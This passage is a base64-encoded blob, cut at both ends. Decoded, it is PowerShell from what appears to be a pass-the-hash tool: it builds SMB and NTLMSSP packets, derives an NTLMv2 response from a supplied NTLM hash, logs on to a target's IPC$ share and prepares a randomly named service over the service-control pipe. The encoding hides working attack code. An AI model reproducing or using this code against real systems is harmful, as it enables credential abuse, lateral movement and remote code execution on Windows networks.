lRMTVNTUE5lZ290aWF0ZSAkU01CX25lZ290aWF0ZV9mbGFncw0KICAgICAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlcg0KICAgICAgICAgICAgICAgICAgICAkTlRMTVNTUF9uZWdvdGlhdGUgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05UTE1TU1BfbmVnb3RpYXRlICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9kYXRhID0gR2V0LVBhY2tldFNNQlNlc3Npb25TZXR1cEFuZFhSZXF1ZXN0ICROVExNU1NQX25lZ290aWF0ZQ0KICAgICAgICAgICAgICAgICAgICAkU01CX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQl9kYXRhDQogICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUJfaGVhZGVyLkxlbmd0aCAkU01CX2RhdGEuTGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCiAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc2VuZCA9ICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSArICRTTUJfaGVhZGVyICsgJFNNQl9kYXRhDQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICRTTUIyX21lc3NhZ2VfSUQgKz0gMQ0KICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyID0gR2V0LVBhY2tldFNNQjJIZWFkZXIgMHgwMSwweDAwICRTTUIyX21lc3NhZ2VfSUQgJFNNQjJfdHJlZV9JRCAkU01CX3Nlc3Npb25fSUQNCiAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9OVExNU1NQX25lZ290aWF0ZSA9IEdldC1QYWNrZXROVExNU1NQTmVnb3RpYXRlICRTTUJfbmVnb3RpYXRlX2ZsYWdzDQogICAgICAgICAgICAgICAgICAgICRTTUIyX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9oZWFkZXINCiAgICAgICAgICAgICAgICAgICAgJE5UTE1TU1BfbmVnb3RpYXRlID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OVExNU1NQX25lZ290aWF0ZSAgICAgICANCiAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2RhdGEgPSBHZXQtUGFja2V0U01CMlNlc3Npb25TZXR1cFJlcXVlc3QgJE5UTE1TU1BfbmVnb3RpYXRlDQogICAgICAgICAgICAgICAgICAgICRTTUIyX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CMl9oZWFkZXIuTGVuZ3RoICRTTUIyX2RhdGEuTGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCiAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc2VuZCA9ICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSArICRTTUIyX2hlYWRlciArICRTTUIyX2RhdGENCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uV3JpdGUoJFNNQl9jbGllbnRfc2VuZCwwLCRTTUJfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLkZsdXNoKCkgICAgDQogICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLlJlYWQoJFNNQl9jbGllbnRfcmVjZWl2ZSwwLCRTTUJfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2UgPSAnZXhpdCcNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICB9DQoNCiAgICB9DQoNCiAgICAkU01CX05UTE1TU1AgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRTTUJfY2xpZW50X3JlY2VpdmUpDQogICAgJFNNQl9OVExNU1NQID0gJFNNQl9OVExNU1NQIC1yZXBsYWNlICItIiwiIg0KICAgICRTTUJfTlRMTVNTUF9pbmRleCA9ICRTTUJfTlRMTVNTUC5JbmRleE9mKCI0RTU0NEM0RDUzNTM1MDAwIikNCiAgICAkU01CX05UTE1TU1BfYnl0ZXNfaW5kZXggPSAkU01CX05UTE1TU1BfaW5kZXggLyAyDQogICAgJFNNQl9kb21haW5fbGVuZ3RoID0gRGF0YUxlbmd0aDIgKCRTTUJfTlRMTVNTUF9ieXRlc19pbmRleCArIDEyKSAkU01CX2NsaWVudF9yZWNlaXZlDQogICAgJFNNQl90YXJnZXRfbGVuZ3RoID0gRGF0YUxlbmd0aDIgKCRTTUJfTlRMTVNTUF9ieXRlc19pbmRleCArIDQwKSAkU01CX2NsaWVudF9yZWNlaXZlDQogICAgJFNNQl9zZXNzaW9uX0lEID0gJFNNQl9jbGllbnRfcmVjZWl2ZVs0NC4uNTFdDQogICAgJFNNQl9OVExNX2NoYWxsZW5nZSA9ICRTTUJfY2xpZW50X3JlY2VpdmVbKCRTTUJfTlRMTVNTUF9ieXRlc19pbmRleCArIDI0KS4uKCRTTUJfTlRMTVNTUF9ieXRlc19pbmRleCArIDMxKV0NCiAgICAkU01CX3RhcmdldF9kZXRhaWxzID0gJFNNQl9jbGllbnRfcmVjZWl2ZVsoJFNNQl9OVExNU1NQX2J5dGVzX2luZGV4ICsgNTYgKyAkU01CX2RvbWFpbl9sZW5ndGgpLi4oJFNNQl9OVExNU1NQX2J5dGVzX2luZGV4ICsgNTUgKyAkU01CX2RvbWFpbl9sZW5ndGggKyAkU01CX3RhcmdldF9sZW5ndGgpXQ0KICAgICRTTUJfdGFyZ2V0X3RpbWVfYnl0ZXMgPSAkU01CX3RhcmdldF9kZXRhaWxzWygkU01CX3RhcmdldF9kZXRhaWxzLmxlbmd0aCAtIDEyKS4uKCRTTUJfdGFyZ2V0X2RldGFpbHMubGVuZ3RoIC0gNSldDQogICAgJE5UTE1faGFzaF9ieXRlcyA9ICgme2ZvciAoJGkgPSAwOyRpIC1sdCAkaGFzaC5sZW5ndGg7JGkgKz0gMil7JGhhc2guU3ViU3RyaW5nKCRpLDIpfX0pIC1qb2luICItIg0KICAgICROVExNX2hhc2hfYnl0ZXMgPSAkTlRMTV9oYXNoX2J5dGVzLlNwbGl0KCItIikgfCBGb3JFYWNoLU9iamVjdHtbQ2hhcl1bU3lzdGVtLkNvbnZlcnRdOjpUb0ludDE2KCRfLDE2KX0NCiAgICAkYXV0aF9ob3N0bmFtZSA9IChHZXQtQ2hpbGRJdGVtIC1wYXRoIGVudjpjb21wdXRlcm5hbWUpLlZhbHVlDQogICAgJGF1dGhfaG9zdG5hbWVfYnl0ZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVbmljb2RlLkdldEJ5dGVzKCRhdXRoX2hvc3RuYW1lKQ0KICAgICRhdXRoX2RvbWFpbl9ieXRlcyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVuaWNvZGUuR2V0Qnl0ZXMoJERvbWFpbikNCiAgICAkYXV0aF91c2VybmFtZV9ieXRlcyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVuaWNvZGUuR2V0Qnl0ZXMoJHVzZXJuYW1lKQ0KICAgICRhdXRoX2RvbWFpbl9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRhdXRoX2RvbWFpbl9ieXRlcy5MZW5ndGgpDQogICAgJGF1dGhfZG9tYWluX2xlbmd0aCA9ICRhdXRoX2RvbWFpbl9sZW5ndGhbMCwxXQ0KICAgICRhdXRoX2RvbWFpbl9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRhdXRoX2RvbWFpbl9ieXRlcy5MZW5ndGgpDQogICAgJGF1dGhfZG9tYWluX2xlbmd0aCA9ICRhdXRoX2RvbWFpbl9sZW5ndGhbMCwxXQ0KICAgICRhdXRoX3VzZXJuYW1lX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJGF1dGhfdXNlcm5hbWVfYnl0ZXMuTGVuZ3RoKQ0KICAgICRhdXRoX3VzZXJuYW1lX2xlbmd0aCA9ICRhdXRoX3VzZXJuYW1lX2xlbmd0aFswLDFdDQogICAgJGF1dGhfaG9zdG5hbWVfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkYXV0aF9ob3N0bmFtZV9ieXRlcy5MZW5ndGgpDQogICAgJGF1dGhfaG9zdG5hbWVfbGVuZ3RoID0gJGF1dGhfaG9zdG5hbWVfbGVuZ3RoWzAsMV0NCiAgICAkYXV0aF9kb21haW5fb2Zmc2V0ID0gMHg0MCwweDAwLDB4MDAsMHgwMA0KICAgICRhdXRoX3VzZXJuYW1lX29mZnNldCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJGF1dGhfZG9tYWluX2J5dGVzLkxlbmd0aCArIDY0KQ0KICAgICRhdXRoX2hvc3RuYW1lX29mZnNldCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJGF1dGhfZG9tYWluX2J5dGVzLkxlbmd0aCArICRhdXRoX3VzZXJuYW1lX2J5dGVzLkxlbmd0aCArIDY0KQ0KICAgICRhdXRoX0xNX29mZnNldCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJGF1dGhfZG9tYWluX2J5dGVzLkxlbmd0aCArICRhdXRoX3VzZXJuYW1lX2J5dGVzLkxlbmd0aCArICRhdXRoX2hvc3RuYW1lX2J5dGVzLkxlbmd0aCArIDY0KQ0KICAgICRhdXRoX05UTE1fb2Zmc2V0ID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkYXV0aF9kb21haW5fYnl0ZXMuTGVuZ3RoICsgJGF1dGhfdXNlcm5hbWVfYnl0ZXMuTGVuZ3RoICsgJGF1dGhfaG9zdG5hbWVfYnl0ZXMuTGVuZ3RoICsgODgpDQogICAgJEhNQUNfTUQ1ID0gTmV3LU9iamVjdCBTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkhNQUNNRDUNCiAgICAkSE1BQ19NRDUua2V5ID0gJE5UTE1faGFzaF9ieXRlcw0KICAgICR1c2VybmFtZV9hbmRfdGFyZ2V0ID0gJHVzZXJuYW1lLlRvVXBwZXIoKQ0KICAgICR1c2VybmFtZV9hbmRfdGFyZ2V0X2J5dGVzID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRCeXRlcygkdXNlcm5hbWVfYW5kX3RhcmdldCkNCiAgICAkdXNlcm5hbWVfYW5kX3RhcmdldF9ieXRlcyArPSAkYXV0aF9kb21haW5fYnl0ZXMNCiAgICAkTlRMTXYyX2hhc2ggPSAkSE1BQ19NRDUuQ29tcHV0ZUhhc2goJHVzZXJuYW1lX2FuZF90YXJnZXRfYnl0ZXMpDQogICAgJGNsaWVudF9jaGFsbGVuZ2UgPSBbU3RyaW5nXSgxLi44IHwgRm9yRWFjaC1PYmplY3QgeyJ7MDpYMn0iIC1mIChHZXQtUmFuZG9tIC1NaW5pbXVtIDEgLU1heGltdW0gMjU1KX0pDQogICAgJGNsaWVudF9jaGFsbGVuZ2VfYnl0ZXMgPSAkY2xpZW50X2NoYWxsZW5nZS5TcGxpdCgiICIpIHwgRm9yRWFjaC1PYmplY3R7W0NoYXJdW1N5c3RlbS5Db252ZXJ0XTo6VG9JbnQxNigkXywxNil9DQoNCiAgICAkc2VjdXJpdHlfYmxvYl9ieXRlcyA9IDB4MDEsMHgwMSwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl90YXJnZXRfdGltZV9ieXRlcyArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNsaWVudF9jaGFsbGVuZ2VfYnl0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfdGFyZ2V0X2RldGFpbHMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMA0KDQogICAgJHNlcnZlcl9jaGFsbGVuZ2VfYW5kX3NlY3VyaXR5X2Jsb2JfYnl0ZXMgPSAkU01CX05UTE1fY2hhbGxlbmdlICsgJHNlY3VyaXR5X2Jsb2JfYnl0ZXMNCiAgICAkSE1BQ19NRDUua2V5ID0gJE5UTE12Ml9oYXNoDQogICAgJE5UTE12Ml9yZXNwb25zZSA9ICRITUFDX01ENS5Db21wdXRlSGFzaCgkc2VydmVyX2NoYWxsZW5nZV9hbmRfc2VjdXJpdHlfYmxvYl9ieXRlcykNCg0KICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICB7DQogICAgICAgICRzZXNzaW9uX2Jhc2Vfa2V5ID0gJEhNQUNfTUQ1LkNvbXB1dGVIYXNoKCROVExNdjJfcmVzcG9uc2UpDQogICAgICAgICRzZXNzaW9uX2tleSA9ICRzZXNzaW9uX2Jhc2Vfa2V5DQogICAgICAgICRITUFDX1NIQTI1NiA9IE5ldy1PYmplY3QgU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5ITUFDU0hBMjU2DQogICAgICAgICRITUFDX1NIQTI1Ni5rZXkgPSAkc2Vzc2lvbl9rZXkNCiAgICB9DQoNCiAgICAkTlRMTXYyX3Jlc3BvbnNlID0gJE5UTE12Ml9yZXNwb25zZSArICRzZWN1cml0eV9ibG9iX2J5dGVzDQogICAgJE5UTE12Ml9yZXNwb25zZV9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCROVExNdjJfcmVzcG9uc2UuTGVuZ3RoKQ0KICAgICROVExNdjJfcmVzcG9uc2VfbGVuZ3RoID0gJE5UTE12Ml9yZXNwb25zZV9sZW5ndGhbMCwxXQ0KICAgICRTTUJfc2Vzc2lvbl9rZXlfb2Zmc2V0ID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkYXV0aF9kb21haW5fYnl0ZXMuTGVuZ3RoICsgJGF1dGhfdXNlcm5hbWVfYnl0ZXMuTGVuZ3RoICsgJGF1dGhfaG9zdG5hbWVfYnl0ZXMuTGVuZ3RoICsgJE5UTE12Ml9yZXNwb25zZS5MZW5ndGggKyA4OCkNCg0KICAgICROVExNU1NQX3Jlc3BvbnNlID0gMHg0ZSwweDU0LDB4NGMsMHg0ZCwweDUzLDB4NTMsMHg1MCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDMsMHgwMCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgxOCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MTgsMHgwMCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfTE1fb2Zmc2V0ICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTlRMTXYyX3Jlc3BvbnNlX2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJE5UTE12Ml9yZXNwb25zZV9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX05UTE1fb2Zmc2V0ICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9kb21haW5fbGVuZ3RoICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9kb21haW5fbGVuZ3RoICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9kb21haW5fb2Zmc2V0ICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF91c2VybmFtZV9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX3VzZXJuYW1lX2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfdXNlcm5hbWVfb2Zmc2V0ICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9ob3N0bmFtZV9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX2hvc3RuYW1lX2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfaG9zdG5hbWVfb2Zmc2V0ICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3Nlc3Npb25fa2V5X2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zZXNzaW9uX2tleV9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2Vzc2lvbl9rZXlfb2Zmc2V0ICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX25lZ290aWF0ZV9mbGFncyArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfZG9tYWluX2J5dGVzICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF91c2VybmFtZV9ieXRlcyArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfaG9zdG5hbWVfYnl0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTlRMTXYyX3Jlc3BvbnNlDQoNCiAgICBpZigkU01CX3ZlcnNpb24gLWVxICdTTUIxJykNCiAgICB7DQogICAgICAgICRTTUJfdXNlcl9JRCA9ICRTTUJfY2xpZW50X3JlY2VpdmVbMzIsMzNdDQogICAgICAgICRwYWNrZXRfU01CX2hlYWRlciA9IEdldC1QYWNrZXRTTUJIZWFkZXIgMHg3MyAweDE4IDB4MDcsMHhjOCAweGZmLDB4ZmYgJHByb2Nlc3NfSURfYnl0ZXMgJFNNQl91c2VyX0lEDQoNCiAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICB7DQogICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXJbIlNNQkhlYWRlcl9GbGFnczIiXSA9IDB4MDUsMHg0OA0KICAgICAgICB9DQoNCiAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfVXNlcklEIl0gPSAkU01CX3VzZXJfSUQNCiAgICAgICAgJHBhY2tldF9OVExNU1NQX25lZ290aWF0ZSA9IEdldC1QYWNrZXROVExNU1NQQXV0aCAkTlRMTVNTUF9yZXNwb25zZQ0KICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlcg0KICAgICAgICAkTlRMTVNTUF9uZWdvdGlhdGUgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05UTE1TU1BfbmVnb3RpYXRlICAgICAgDQogICAgICAgICRwYWNrZXRfU01CX2RhdGEgPSBHZXQtUGFja2V0U01CU2Vzc2lvblNldHVwQW5kWFJlcXVlc3QgJE5UTE1TU1BfbmVnb3RpYXRlDQogICAgICAgICRTTUJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2RhdGENCiAgICAgICAgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IEdldC1QYWNrZXROZXRCSU9TU2Vzc2lvblNlcnZpY2UgJFNNQl9oZWFkZXIuTGVuZ3RoICRTTUJfZGF0YS5MZW5ndGgNCiAgICAgICAgJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZQ0KICAgICAgICAkU01CX2NsaWVudF9zZW5kID0gJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGENCiAgICB9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgICAgJFNNQjJfbWVzc2FnZV9JRCArPSAxDQogICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXIgPSBHZXQtUGFja2V0U01CMkhlYWRlciAweDAxLDB4MDAgJFNNQjJfbWVzc2FnZV9JRCAkU01CMl90cmVlX0lEICRTTUJfc2Vzc2lvbl9JRA0KICAgICAgICAkcGFja2V0X05UTE1TU1BfYXV0aCA9IEdldC1QYWNrZXROVExNU1NQQXV0aCAkTlRMTVNTUF9yZXNwb25zZQ0KICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICROVExNU1NQX2F1dGggPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05UTE1TU1BfYXV0aCAgICAgICAgDQogICAgICAgICRwYWNrZXRfU01CMl9kYXRhID0gR2V0LVBhY2tldFNNQjJTZXNzaW9uU2V0dXBSZXF1ZXN0ICROVExNU1NQX2F1dGgNCiAgICAgICAgJFNNQjJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9kYXRhDQogICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUIyX2hlYWRlci5MZW5ndGggJFNNQjJfZGF0YS5MZW5ndGgNCiAgICAgICAgJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZQ0KICAgICAgICAkU01CX2NsaWVudF9zZW5kID0gJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlICsgJFNNQjJfaGVhZGVyICsgJFNNQjJfZGF0YQ0KICAgIH0NCg0KICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAkU01CX2NsaWVudF9zdHJlYW0uRmx1c2goKQ0KICAgICRTTUJfY2xpZW50X3N0cmVhbS5SZWFkKCRTTUJfY2xpZW50X3JlY2VpdmUsMCwkU01CX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KDQogICAgaWYoJFNNQl92ZXJzaW9uIC1lcSAnU01CMScpDQogICAgew0KDQogICAgICAgIGlmKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFNNQl9jbGllbnRfcmVjZWl2ZVs5Li4xMl0pIC1lcSAnMDAtMDAtMDAtMDAnKQ0KICAgICAgICB7DQogICAgICAgICAgICBXcml0ZS1WZXJib3NlICIkb3V0cHV0X3VzZXJuYW1lIHN1Y2Nlc3NmdWxseSBhdXRoZW50aWNhdGVkIG9uICRUYXJnZXQiDQogICAgICAgICAgICAkbG9naW5fc3VjY2Vzc2Z1bCA9ICR0cnVlDQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICBXcml0ZS1PdXRwdXQgIiRvdXRwdXRfdXNlcm5hbWUgZmFpbGVkIHRvIGF1dGhlbnRpY2F0ZSBvbiAkVGFyZ2V0Ig0KICAgICAgICAgICAgJGxvZ2luX3N1Y2Nlc3NmdWwgPSAkZmFsc2UNCiAgICAgICAgfQ0KDQogICAgfQ0KICAgIGVsc2UNCiAgICB7DQogICAgICAgIGlmKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFNNQl9jbGllbnRfcmVjZWl2ZVsxMi4uMTVdKSAtZXEgJzAwLTAwLTAwLTAwJykNCiAgICAgICAgew0KICAgICAgICAgICAgV3JpdGUtVmVyYm9zZSAiJG91dHB1dF91c2VybmFtZSBzdWNjZXNzZnVsbHkgYXV0aGVudGljYXRlZCBvbiAkVGFyZ2V0Ig0KICAgICAgICAgICAgJGxvZ2luX3N1Y2Nlc3NmdWwgPSAkdHJ1ZQ0KICAgICAgICB9DQogICAgICAgIGVsc2UNCiAgICAgICAgew0KICAgICAgICAgICAgV3JpdGUtT3V0cHV0ICIkb3V0cHV0X3VzZXJuYW1lIGZhaWxlZCB0byBhdXRoZW50aWNhdGUgb24gJFRhcmdldCINCiAgICAgICAgICAgICRsb2dpbl9zdWNjZXNzZnVsID0gJGZhbHNlDQogICAgICAgIH0NCg0KICAgIH0NCg0KICAgIGlmKCRsb2dpbl9zdWNjZXNzZnVsKQ0KICAgIHsNCiAgICAgICAgJFNNQl9wYXRoID0gIlxcIiArICRUYXJnZXQgKyAiXElQQyQiDQoNCiAgICAgICAgaWYoJFNNQl92ZXJzaW9uIC1lcSAnU01CMScpDQogICAgICAgIHsNCiAgICAgICAgICAgICRTTUJfcGF0aF9ieXRlcyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0Qnl0ZXMoJFNNQl9wYXRoKSArIDB4MDANCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAgICRTTUJfcGF0aF9ieXRlcyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVuaWNvZGUuR2V0Qnl0ZXMoJFNNQl9wYXRoKQ0KICAgICAgICB9DQoNCiAgICAgICAgJFNNQl9uYW1lZF9waXBlX1VVSUQgPSAweDgxLDB4YmIsMHg3YSwweDM2LDB4NDQsMHg5OCwweGYxLDB4MzUsMHhhZCwweDMyLDB4OTgsMHhmMCwweDM4LDB4MDAsMHgxMCwweDAzDQoNCiAgICAgICAgaWYoISRTZXJ2aWNlKQ0KICAgICAgICB7DQogICAgICAgICAgICAkU01CX3NlcnZpY2VfcmFuZG9tID0gW1N0cmluZ106OkpvaW4oIjAwLSIsKDEuLjIwIHwgRm9yRWFjaC1PYmplY3R7InswOlgyfS0iIC1mIChHZXQtUmFuZG9tIC1NaW5pbXVtIDY1IC1NYXhpbXVtIDkwKX0pKQ0KICAgICAgICAgICAgJFNNQl9zZXJ2aWNlID0gJFNNQl9zZXJ2aWNlX3JhbmRvbSAtcmVwbGFjZSAiLTAwIiwiIg0KICAgICAgICAgICAgJFNNQl9zZXJ2aWNlID0gJFNNQl9zZXJ2aWNlLlN1YnN0cmluZygwLCRTTUJfc2VydmljZS5MZW5ndGggLSAxKQ0KICAgICAgICAgICAgJFNNQl9zZXJ2aWNlID0gJFNNQl9zZXJ2aWNlLlNwbGl0KCItIikgfCBGb3JFYWNoLU9iamVjdHtbQ2hhcl1bU3lzdGVtLkNvbnZlcnRdOjpUb0ludDE2KCRfLDE2KX0NCiAgICAgICAgICAgICRTTUJfc2VydmljZSA9IE5ldy1PYmplY3QgU3lzdGVtLlN0cmluZyAoJFNNQl9zZXJ2aWNlLDAsJFNNQl9zZXJ2aWNlLkxlbmd0aCkNCiAgICAgICAgICAgICRTTUJfc2VydmljZV9yYW5kb20gKz0gJzAwLTAwLTAwLTAwLTAwJw0KICAgICAgICAgICAgJFNNQl9zZXJ2aWNlX2J5dGVzID0gJFNNQl9zZXJ2aWNlX3JhbmRvbS5TcGxpdCgiLSIpIHwgRm9yRWFjaC1PYmpl